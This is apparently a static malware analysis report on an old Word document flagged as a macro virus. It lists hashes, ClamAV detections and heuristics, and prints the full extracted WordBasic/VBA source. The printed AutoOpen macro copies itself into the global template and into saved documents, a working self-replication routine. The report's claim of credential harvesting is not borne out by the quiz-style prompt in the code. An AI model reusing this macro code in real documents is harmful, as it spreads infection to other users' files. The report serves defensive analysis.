Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57fe7bcb1a5178b1…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-06-15 08:51:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ad2708ac90e80eab68e0eb2afa7edc6d SHA-1: 06693644e94a43a746be574d860d99fadda8aff8 SHA-256: 57fe7bcb1a5178b1a05856b12e61b695bc5bdb579cc7c27fe5ee6d9ed1ec33c0
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The AutoOpen macro attempts to display a deceptive input box to the user, likely for credential harvesting. ClamAV detections further confirm the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3569 bytes
SHA-256: 54cda35c94ddb09a423d91df36f18546b2b91facaf4ab759e5faae8bd2e34622
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim ans$
Dim j
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1
If WordBasic.Day(WordBasic.Now()) = 50 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0

        While test = -1

            For i = 0 To 4
            nm__(i) = WordBasic.Int(Rnd() * 10)
            con = (con * nm__(i))
            If i = 4 Then
            tog$ = tog$ + Str(nm__(4)) + " =?"
            GoTo beg
            End If
            tog$ = tog$ + Str(nm__(i)) + " *"
            Next i
beg:
            WordBasic.Beep
            ans$ = WordBasic.[InputBox$]("さぱ琌 " + WordBasic.[Date$]() + " ,蛤�A�堡@�婴吆夤C栏" + Chr(13) + _
"璝�A氮岿,�u�n钡��綺举毙▅.............." + Chr(13) + _
tog$, "�x芖 NO.1 Macro Virus")
        If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = WordBasic.[LTrim$](Str(con)) Then
            WordBasic.MsgBox "�ザP�A氮癸�F,�鼋T﹚碞�i禗�A稱�竟D��....", _
                    "�x芖 NO.1 Macro Virus"
            WordBasic.FileNewDefault
            WordBasic.CenterPara
            WordBasic.FormatFont Font:="灿��砰", Points:=16, Bold:=1, Underline:=1
            WordBasic.Beep
            WordBasic.Insert "�罂抓ǘ隘f瑀�H"
            WordBasic.InsertPara
            WordBasic.Beep
            WordBasic.Insert "氮��:"
            WordBasic.Italic 1
            WordBasic.Insert "и碞琌....."
            WordBasic.InsertPara
            WordBasic.InsertPara
            WordBasic.Italic 0
            WordBasic.FormatFont Font:="灿��砰", Points:=16, Bold:=1, Underline:=1
            WordBasic.Beep
            WordBasic.Insert "�p�蠊wňエ栋痜瑀�H"
            WordBasic.InsertPara
            WordBasic.Beep
            WordBasic.Insert "氮��:"
            WordBasic.Italic 1
            WordBasic.Insert "ぃ璶�荮�....."
            GoTo exit_
            Else
            For j = 1 To 20
            WordBasic.Beep
            WordBasic.FileNewDefault
            Next j
            WordBasic.CenterPara
            WordBasic.FormatFont Font:="灿��砰", Points:=16, Bold:=1, Underline:=1
            WordBasic.Insert "エ栋痜瑀"
            GoTo try
            End If

        Wend
            End If

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.